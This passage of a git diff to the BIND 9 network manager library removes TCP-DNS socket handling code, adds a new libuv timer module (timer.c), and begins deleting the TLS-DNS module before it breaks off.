-	csock->read_timeout = atomic_load(&csock->mgr->init);
-
-	csock->closehandle_cb = isc__nm_resume_processing;
-
-	/*
-	 * We need to keep the handle alive until we fail to read or connection
-	 * is closed by the other side, it will be detached via
-	 * prep_destroy()->tcpdns_close_direct().
-	 */
-	isc_nmhandle_attach(handle, &csock->recv_handle);
-	isc__nm_process_sock_buffer(csock);
-
-	/*
-	 * The initial timer has been set, update the read timeout for the next
-	 * reads.
-	 */
-	csock->read_timeout = (atomic_load(&csock->keepalive)
-				       ? atomic_load(&csock->mgr->keepalive)
-				       : atomic_load(&csock->mgr->idle));
-
-	isc_nmhandle_detach(&handle);
-
-	/*
-	 * sock is now attached to the handle.
-	 */
-	isc__nmsocket_detach(&csock);
-
-	return (ISC_R_SUCCESS);
-
-failure:
-
-	atomic_store(&csock->active, false);
-
-	isc__nm_failed_accept_cb(csock, result);
-
-	isc__nmsocket_prep_destroy(csock);
-
-	isc__nmsocket_detach(&csock);
-
-	return (result);
-}
-
-void
-isc__nm_tcpdns_send(isc_nmhandle_t *handle, isc_region_t *region,
-		    isc_nm_cb_t cb, void *cbarg) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-
-	isc_nmsocket_t *sock = handle->sock;
-	isc__netievent_tcpdnssend_t *ievent = NULL;
-	isc__nm_uvreq_t *uvreq = NULL;
-
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-
-	uvreq = isc__nm_uvreq_get(sock->mgr, sock);
-	*(uint16_t *)uvreq->tcplen = htons(region->length);
-	uvreq->uvbuf.base = (char *)region->base;
-	uvreq->uvbuf.len = region->length;
-
-	isc_nmhandle_attach(handle, &uvreq->handle);
-
-	uvreq->cb.send = cb;
-	uvreq->cbarg = cbarg;
-
-	ievent = isc__nm_get_netievent_tcpdnssend(sock->mgr, sock, uvreq);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
-
-	return;
-}
-
-static void
-tcpdns_send_cb(uv_write_t *req, int status) {
-	isc__nm_uvreq_t *uvreq = (isc__nm_uvreq_t *)req->data;
-	isc_nmsocket_t *sock = NULL;
-
-	REQUIRE(VALID_UVREQ(uvreq));
-	REQUIRE(VALID_NMHANDLE(uvreq->handle));
-
-	sock = uvreq->sock;
-
-	if (status < 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
-		isc__nm_failed_send_cb(sock, uvreq,
-				       isc__nm_uverr2result(status));
-		return;
-	}
-
-	isc__nm_sendcb(sock, uvreq, ISC_R_SUCCESS, false);
-}
-
-/*
- * Handle 'tcpsend' async event - send a packet on the socket
- */
-void
-isc__nm_async_tcpdnssend(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnssend_t *ievent =
-		(isc__netievent_tcpdnssend_t *)ev0;
-
-	REQUIRE(ievent->sock->type == isc_nm_tcpdnssocket);
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(VALID_UVREQ(ievent->req));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-
-	isc_result_t result;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-	uv_buf_t bufs[2] = { { .base = uvreq->tcplen, .len = 2 },
-			     { .base = uvreq->uvbuf.base,
-			       .len = uvreq->uvbuf.len } };
-	int nbufs = 2;
-	int r;
-
-	UNUSED(worker);
-
-	if (isc__nmsocket_closing(sock)) {
-		result = ISC_R_CANCELED;
-		goto fail;
-	}
-
-	r = uv_try_write(&sock->uv_handle.stream, bufs, nbufs);
-
-	if (r == (int)(bufs[0].len + bufs[1].len)) {
-		/* Wrote everything */
-		isc__nm_sendcb(sock, uvreq, ISC_R_SUCCESS, true);
-		return;
-	}
-
-	if (r == 1) {
-		/* Partial write of DNSMSG length */
-		bufs[0].base = uvreq->tcplen + 1;
-		bufs[0].len = 1;
-	} else if (r > 0) {
-		/* Partial write of DNSMSG */
-		nbufs = 1;
-		bufs[0].base = uvreq->uvbuf.base + (r - 2);
-		bufs[0].len = uvreq->uvbuf.len - (r - 2);
-	} else if (r == UV_ENOSYS || r == UV_EAGAIN) {
-		/* uv_try_write not support, send asynchronously */
-	} else {
-		/* error sending data */
-		result = isc__nm_uverr2result(r);
-		goto fail;
-	}
-
-	r = uv_write(&uvreq->uv_req.write, &sock->uv_handle.stream, bufs, nbufs,
-		     tcpdns_send_cb);
-	if (r < 0) {
-		result = isc__nm_uverr2result(r);
-		goto fail;
-	}
-
-	return;
-
-fail:
-	if (result != ISC_R_SUCCESS) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
-		isc__nm_failed_send_cb(sock, uvreq, result);
-	}
-}
-
-static void
-tcpdns_stop_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	uv_handle_set_data(handle, NULL);
-
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
-
-	atomic_store(&sock->listening, false);
-
-	isc__nmsocket_detach(&sock);
-}
-
-static void
-tcpdns_close_sock(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
-
-	if (sock->server != NULL) {
-		isc__nmsocket_detach(&sock->server);
-	}
-
-	atomic_store(&sock->connected, false);
-
-	isc__nmsocket_prep_destroy(sock);
-}
-
-static void
-tcpdns_close_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-
-	uv_handle_set_data(handle, NULL);
-
-	tcpdns_close_sock(sock);
-}
-
-static void
-timer_close_cb(uv_handle_t *timer) {
-	isc_nmsocket_t *sock = uv_handle_get_data(timer);
-	uv_handle_set_data(timer, NULL);
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	if (sock->parent) {
-		uv_close(&sock->uv_handle.handle, tcpdns_stop_cb);
-	} else if (uv_is_closing(&sock->uv_handle.handle)) {
-		tcpdns_close_sock(sock);
-	} else {
-		uv_close(&sock->uv_handle.handle, tcpdns_close_cb);
-	}
-}
-
-static void
-stop_tcpdns_child(isc_nmsocket_t *sock) {
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	tcpdns_close_direct(sock);
-
-	atomic_fetch_sub(&sock->parent->rchildren, 1);
-
-	isc_barrier_wait(&sock->parent->stoplistening);
-}
-
-static void
-stop_tcpdns_parent(isc_nmsocket_t *sock) {
-	isc_nmsocket_t *csock = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_tcpdnslistener);
-
-	isc_barrier_init(&sock->stoplistening, sock->nchildren);
-
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		csock = &sock->children[i];
-		REQUIRE(VALID_NMSOCK(csock));
-
-		if ((int)i == isc_nm_tid()) {
-			/*
-			 * We need to schedule closing the other sockets first
-			 */
-			continue;
-		}
-
-		atomic_store(&csock->active, false);
-		enqueue_stoplistening(csock);
-	}
-
-	csock = &sock->children[isc_nm_tid()];
-	atomic_store(&csock->active, false);
-	stop_tcpdns_child(csock);
-
-	atomic_store(&sock->closed, true);
-	isc__nmsocket_prep_destroy(sock);
-}
-
-static void
-tcpdns_close_direct(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-
-	if (sock->recv_handle != NULL) {
-		isc_nmhandle_detach(&sock->recv_handle);
-	}
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-	uv_close((uv_handle_t *)&sock->timer, timer_close_cb);
-}
-
-void
-isc__nm_tcpdns_close(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-	REQUIRE(!isc__nmsocket_active(sock));
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	if (sock->tid == isc_nm_tid()) {
-		tcpdns_close_direct(sock);
-	} else {
-		/*
-		 * We need to create an event and pass it using async channel
-		 */
-		isc__netievent_tcpdnsclose_t *ievent =
-			isc__nm_get_netievent_tcpdnsclose(sock->mgr, sock);
-
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-}
-
-void
-isc__nm_async_tcpdnsclose(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnsclose_t *ievent =
-		(isc__netievent_tcpdnsclose_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	tcpdns_close_direct(sock);
-}
-
-static void
-tcpdns_close_connect_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	isc__nmsocket_prep_destroy(sock);
-	isc__nmsocket_detach(&sock);
-}
-
-void
-isc__nm_tcpdns_shutdown(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-
-	/*
-	 * If the socket is active, mark it inactive and
-	 * continue. If it isn't active, stop now.
-	 */
-	if (!isc__nmsocket_deactivate(sock)) {
-		return;
-	}
-
-	if (sock->accepting) {
-		return;
-	}
-
-	if (atomic_load(&sock->connecting)) {
-		isc_nmsocket_t *tsock = NULL;
-		isc__nmsocket_attach(sock, &tsock);
-		uv_close(&sock->uv_handle.handle, tcpdns_close_connect_cb);
-		return;
-	}
-
-	if (sock->statichandle != NULL) {
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
-		return;
-	}
-
-	/*
-	 * Otherwise, we just send the socket to abyss...
-	 */
-	if (sock->parent == NULL) {
-		isc__nmsocket_prep_destroy(sock);
-	}
-}
-
-void
-isc__nm_tcpdns_cancelread(isc_nmhandle_t *handle) {
-	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tcpdnscancel_t *ievent = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-
-	sock = handle->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-
-	ievent = isc__nm_get_netievent_tcpdnscancel(sock->mgr, sock, handle);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_tcpdnscancel(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnscancel_t *ievent =
-		(isc__netievent_tcpdnscancel_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	isc__nm_failed_read_cb(sock, ISC_R_EOF, false);
-}
-
-void
-isc_nm_tcpdns_sequential(isc_nmhandle_t *handle) {
-	isc_nmsocket_t *sock = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-	REQUIRE(handle->sock->type == isc_nm_tcpdnssocket);
-
-	sock = handle->sock;
-
-	/*
-	 * We don't want pipelining on this connection. That means
-	 * that we need to pause after reading each request, and
-	 * resume only after the request has been processed. This
-	 * is done in resume_processing(), which is the socket's
-	 * closehandle_cb callback, called whenever a handle
-	 * is released.
-	 */
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-	atomic_store(&sock->sequential, true);
-}
-
-void
-isc_nm_tcpdns_keepalive(isc_nmhandle_t *handle, bool value) {
-	isc_nmsocket_t *sock = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-	REQUIRE(handle->sock->type != isc_nm_tcpdnssocket);
-
-	sock = handle->sock;
-
-	atomic_store(&sock->keepalive, value);
-}
diff --git a/lib/isc/netmgr/timer.c b/lib/isc/netmgr/timer.c
new file mode 100644
index 0000000000..0e21382ace
--- /dev/null
+++ b/lib/isc/netmgr/timer.c
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <isc/netmgr.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include "netmgr-int.h"
+
+struct isc_nm_timer {
+	isc_refcount_t references;
+	uv_timer_t timer;
+	isc_nmhandle_t *handle;
+	isc_nm_timer_cb cb;
+	void *cbarg;
+};
+
+void
+isc_nm_timer_create(isc_nmhandle_t *handle, isc_nm_timer_cb cb, void *cbarg,
+		    isc_nm_timer_t **timerp) {
+	isc__networker_t *worker = NULL;
+	isc_nmsocket_t *sock = NULL;
+	isc_nm_timer_t *timer = NULL;
+	int r;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	sock = handle->sock;
+	worker = sock->worker;
+
+	/* TODO: per-loop object cache */
+	timer = isc_mem_get(worker->mctx, sizeof(*timer));
+	*timer = (isc_nm_timer_t){ .cb = cb, .cbarg = cbarg };
+	isc_refcount_init(&timer->references, 1);
+	isc_nmhandle_attach(handle, &timer->handle);
+
+	r = uv_timer_init(&worker->loop->loop, &timer->timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&timer->timer, timer);
+
+	*timerp = timer;
+}
+
+void
+isc_nm_timer_attach(isc_nm_timer_t *timer, isc_nm_timer_t **timerp) {
+	REQUIRE(timer != NULL);
+	REQUIRE(timerp != NULL && *timerp == NULL);
+
+	isc_refcount_increment(&timer->references);
+	*timerp = timer;
+}
+
+static void
+timer_destroy(uv_handle_t *uvhandle) {
+	isc_nm_timer_t *timer = uv_handle_get_data(uvhandle);
+	isc_nmhandle_t *handle = timer->handle;
+	isc_mem_t *mctx = timer->handle->sock->worker->mctx;
+
+	isc_mem_put(mctx, timer, sizeof(*timer));
+
+	isc_nmhandle_detach(&handle);
+}
+
+void
+isc_nm_timer_detach(isc_nm_timer_t **timerp) {
+	isc_nm_timer_t *timer = NULL;
+	isc_nmhandle_t *handle = NULL;
+
+	REQUIRE(timerp != NULL && *timerp != NULL);
+
+	timer = *timerp;
+	*timerp = NULL;
+
+	handle = timer->handle;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	if (isc_refcount_decrement(&timer->references) == 1) {
+		int r = uv_timer_stop(&timer->timer);
+		UV_RUNTIME_CHECK(uv_timer_stop, r);
+		uv_close((uv_handle_t *)&timer->timer, timer_destroy);
+	}
+}
+
+static void
+timer_cb(uv_timer_t *uvtimer) {
+	isc_nm_timer_t *timer = uv_handle_get_data((uv_handle_t *)uvtimer);
+
+	REQUIRE(timer->cb != NULL);
+
+	timer->cb(timer->cbarg, ISC_R_TIMEDOUT);
+}
+
+void
+isc_nm_timer_start(isc_nm_timer_t *timer, uint64_t timeout) {
+	int r = uv_timer_start(&timer->timer, timer_cb, timeout, 0);
+	UV_RUNTIME_CHECK(uv_timer_start, r);
+}
+
+void
+isc_nm_timer_stop(isc_nm_timer_t *timer) {
+	int r = uv_timer_stop(&timer->timer);
+	UV_RUNTIME_CHECK(uv_timer_stop, r);
+}
diff --git a/lib/isc/netmgr/tlsdns.c b/lib/isc/netmgr/tlsdns.c
deleted file mode 100644
index 41bf6caef8..0000000000
--- a/lib/isc/netmgr/tlsdns.c
+++ /dev/null
@@ -1,2044 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <libgen.h>
-#include <unistd.h>
-#include <uv.h>
-
-#include <isc/atomic.h>
-#include <isc/barrier.h>
-#include <isc/buffer.h>
-#include <isc/condition.h>
-#include <isc/errno.h>
-#include <isc/log.h>
-#include <isc/magic.h>
-#include <isc/mem.h>
-#include <isc/netmgr.h>
-#include <isc/quota.h>
-#include <isc/random.h>
-#include <isc/refcount.h>
-#include <isc/region.h>
-#include <isc/result.h>
-#include <isc/sockaddr.h>
-#include <isc/stdtime.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include "netmgr-int.h"
-#include "openssl_shim.h"
-#include "uv-compat.h"
-
-/*%<
- *
- * Maximum number of simultaneous handles in flight supported for a single
- * connected TLSDNS socket. This value was chosen arbitrarily, and may be
- * changed in the future.
- */
-
-static atomic_uint_fast32_t last_tlsdnsquota_log = ATOMIC_VAR_INIT(0);
-
-static void
-tls_error(isc_nmsocket_t *sock, isc_result_t result);
-
-static isc_result_t
-tlsdns_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req);
-
-static void
-tlsdns_close_direct(isc_nmsocket_t *sock);
-
-static isc_result_t
-tlsdns_send_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req);
-static void
-tlsdns_connect_cb(uv_connect_t *uvreq, int status);
-
-static void
-tlsdns_connection_cb(uv_stream_t *server, int status);
-
-static void
-tlsdns_close_cb(uv_handle_t *uvhandle);
-
-static isc_result_t
-accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota);
-
-static void
-quota_accept_cb(isc_quota_t *quota, void *sock0);
-
-static void
-stop_tlsdns_parent(isc_nmsocket_t *sock);
-static void
-stop_tlsdns_child(isc_nmsocket_t *sock);
-
-static void
-async_tlsdns_cycle(isc_nmsocket_t *sock) __attribute__((unused));
-
-static isc_result_t
-tls_cycle(isc_nmsocket_t *sock);
-
-static bool
-can_log_tlsdns_quota(void) {
-	isc_stdtime_t now, last;
-
-	isc_stdtime_get(&now);
-	last = atomic_exchange_relaxed(&last_tlsdnsquota_log, now);
-	if (now != last) {
-		return (true);
-	}
-
-	return (false);
-}
-
-static isc_result_t
-tlsdns_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
-	isc__networker_t *worker = NULL;
-	isc_result_t result = ISC_R_UNSET;
-	int r;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(req));
-
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	worker = &sock->mgr->workers[sock->tid];
-
-	atomic_store(&sock->connecting, true);
-
-	/* 2 minute timeout */
-	result = isc__nm_socket_connectiontimeout(sock->fd, 120 * 1000);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	r = uv_tcp_init(&worker->loop, &sock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data(&sock->uv_handle.handle, sock);
-
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-
-	if (isc__nm_closing(sock)) {
-		result = ISC_R_CANCELED;
-		goto error;
-	}
-
-	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
-	if (r != 0) {
-		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
-
-	if (req->local.length != 0) {
-		r = uv_tcp_bind(&sock->uv_handle.tcp, &req->local.type.sa, 0);
-		/*
-		 * In case of shared socket UV_EINVAL will be returned and needs
-		 * to be ignored
-		 */
-		if (r != 0 && r != UV_EINVAL) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
-		}
-	}
-
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
-
-	uv_handle_set_data(&req->uv_req.handle, req);
-	r = uv_tcp_connect(&req->uv_req.connect, &sock->uv_handle.tcp,
-			   &req->peer.type.sa, tlsdns_connect_cb);
-	if (r != 0) {
-		isc__nm_incstats(sock->mgr,
-				 sock->statsindex[STATID_CONNECTFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
-
-	uv_handle_set_data((uv_handle_t *)&sock->timer, &req->uv_req.connect);
-	isc__nmsocket_timer_start(sock);
-
-	atomic_store(&sock->connected, true);
-
-done:
-	result = isc__nm_uverr2result(r);
-error:
-	LOCK(&sock->lock);
-	sock->result = result;
-	SIGNAL(&sock->cond);
-	if (!atomic_load(&sock->active)) {
-		WAIT(&sock->scond, &sock->lock);
-	}
-	INSIST(atomic_load(&sock->active));
-	UNLOCK(&sock->lock);
-
-	return (result);
-}
-
-void
-isc__nm_async_tlsdnsconnect(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnsconnect_t *ievent =
-		(isc__netievent_tlsdnsconnect_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *req = ievent->req;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-	REQUIRE(sock->parent == NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	result = tlsdns_connect_direct(sock, req);
-	if (result != ISC_R_SUCCESS) {
-		INSIST(atomic_compare_exchange_strong(&sock->connecting,
-						      &(bool){ true }, false));
-		isc__nmsocket_clearcb(sock);
-		isc__nm_connectcb(sock, req, result, true);
-		atomic_store(&sock->active, false);
-		isc__nm_tlsdns_close(sock);
-	}
-
-	/*
-	 * The sock is now attached to the handle.
-	 */
-	isc__nmsocket_detach(&sock);
-}
-
-static void
-tlsdns_connect_cb(uv_connect_t *uvreq, int status) {
-	isc_result_t result;
-	isc__nm_uvreq_t *req = NULL;
-	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)uvreq->handle);
-	struct sockaddr_storage ss;
-	int r;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (!atomic_load(&sock->connecting)) {
-		return;
-	}
-
-	req = uv_handle_get_data((uv_handle_t *)uvreq);
-
-	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(VALID_NMHANDLE(req->handle));
-
-	if (isc__nmsocket_closing(sock)) {
-		/* Socket was closed midflight by isc__nm_tlsdns_shutdown() */
-		result = ISC_R_CANCELED;
-		goto error;
-	} else if (status == UV_ETIMEDOUT) {
-		/* Timeout status code here indicates hard error */
-		result = ISC_R_CANCELED;
-		goto error;
-	} else if (status != 0) {
-		result = isc__nm_uverr2result(status);
-		goto error;
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
-	r = uv_tcp_getpeername(&sock->uv_handle.tcp, (struct sockaddr *)&ss,
-			       &(int){ sizeof(ss) });
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto error;
-	}
-
-	sock->tls.state = TLS_STATE_NONE;
-	sock->tls.tls = isc_tls_create(sock->tls.ctx);
-	RUNTIME_CHECK(sock->tls.tls != NULL);
-
-	/*
-	 *
-	 */
-	r = BIO_new_bio_pair(&sock->tls.ssl_wbio, ISC_NETMGR_TLSBUF_SIZE,
-			     &sock->tls.app_rbio, ISC_NETMGR_TLSBUF_SIZE);
-	RUNTIME_CHECK(r == 1);
-
-	r = BIO_new_bio_pair(&sock->tls.ssl_rbio, ISC_NETMGR_TLSBUF_SIZE,
-			     &sock->tls.app_wbio, ISC_NETMGR_TLSBUF_SIZE);
-	RUNTIME_CHECK(r == 1);
-
-#if HAVE_SSL_SET0_RBIO && HAVE_SSL_SET0_WBIO
-	/*
-	 * Note that if the rbio and wbio are the same then
-	 * SSL_set0_rbio() and SSL_set0_wbio() each take ownership of
-	 * one reference. Therefore it may be necessary to increment the
-	 * number of references available using BIO_up_ref(3) before
-	 * calling the set0 functions.
-	 */
-	SSL_set0_rbio(sock->tls.tls, sock->tls.ssl_rbio);
-	SSL_set0_wbio(sock->tls.tls, sock->tls.ssl_wbio);
-#else
-	SSL_set_bio(sock->tls.tls, sock->tls.ssl_rbio, sock->tls.ssl_wbio);
-#endif
-
-	SSL_set_connect_state(sock->tls.tls);
-
-	result = isc_sockaddr_fromsockaddr(&sock->peer, (struct sockaddr *)&ss);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	/* Setting pending req */
-	sock->tls.pending_req = req;
-
-	isc__nm_process_sock_buffer(sock);
-
-	result = tls_cycle(sock);
-	if (result != ISC_R_SUCCESS) {
-		sock->tls.pending_req = NULL;
-		goto error;
-	}
-
-	return;
-
-error:
-	isc__nm_failed_connect_cb(sock, req, result, false);
-}
-
-void
-isc_nm_tlsdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		     isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		     size_t extrahandlesize, isc_tlsctx_t *sslctx) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tlsdnsconnect_t *ievent = NULL;
-	isc__nm_uvreq_t *req = NULL;
-	sa_family_t sa_family;
-
-	REQUIRE(VALID_NM(mgr));
-	REQUIRE(local != NULL);
-	REQUIRE(peer != NULL);
-	REQUIRE(sslctx != NULL);
-
-	sa_family = peer->type.sa.sa_family;
-
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_tlsdnssocket, local);
-
-	sock->extrahandlesize = extrahandlesize;
-	sock->connect_timeout = timeout;
-	sock->result = ISC_R_UNSET;
-	sock->tls.ctx = sslctx;
-	atomic_init(&sock->client, true);
-	atomic_init(&sock->connecting, true);
-
-	req = isc__nm_uvreq_get(mgr, sock);
-	req->cb.connect = cb;
-	req->cbarg = cbarg;
-	req->peer = *peer;
-	req->local = *local;
-	req->handle = isc__nmhandle_get(sock, &req->peer, &sock->iface);
-
-	result = isc__nm_socket(sa_family, SOCK_STREAM, 0, &sock->fd);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	if (isc__nm_closing(sock)) {
-		goto failure;
-	}
-
-	/* 2 minute timeout */
-	result = isc__nm_socket_connectiontimeout(sock->fd, 120 * 1000);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	ievent = isc__nm_get_netievent_tlsdnsconnect(mgr, sock, req);
-
-	if (isc__nm_in_netthread()) {
-		atomic_store(&sock->active, true);
-		sock->tid = isc_nm_tid();
-		isc__nm_async_tlsdnsconnect(&mgr->workers[sock->tid],
-					    (isc__netievent_t *)ievent);
-		isc__nm_put_netievent_tlsdnsconnect(mgr, ievent);
-	} else {
-		atomic_init(&sock->active, false);
-		sock->tid = isc_random_uniform(mgr->nworkers);
-		isc__nm_enqueue_ievent(&mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-	LOCK(&sock->lock);
-	while (sock->result == ISC_R_UNSET) {
-		WAIT(&sock->cond, &sock->lock);
-	}
-	atomic_store(&sock->active, true);
-	BROADCAST(&sock->scond);
-	UNLOCK(&sock->lock);
-	return;
-failure:
-	if (isc__nm_in_netthread()) {
-		sock->tid = isc_nm_tid();
-	}
-
-	INSIST(atomic_compare_exchange_strong(&sock->connecting,
-					      &(bool){ true }, false));
-	isc__nmsocket_clearcb(sock);
-	isc__nm_connectcb(sock, req, result, true);
-	atomic_store(&sock->closed, true);
-	isc__nmsocket_detach(&sock);
-}
-
-static uv_os_sock_t
-isc__nm_tlsdns_lb_socket(sa_family_t sa_family) {
-	isc_result_t result;
-	uv_os_sock_t sock;
-
-	result = isc__nm_socket(sa_family, SOCK_STREAM, 0, &sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	(void)isc__nm_socket_incoming_cpu(sock);
-
-	/* FIXME: set mss */
-
-	result = isc__nm_socket_reuse(sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-#if HAVE_SO_REUSEPORT_LB
-	result = isc__nm_socket_reuse_lb(sock);
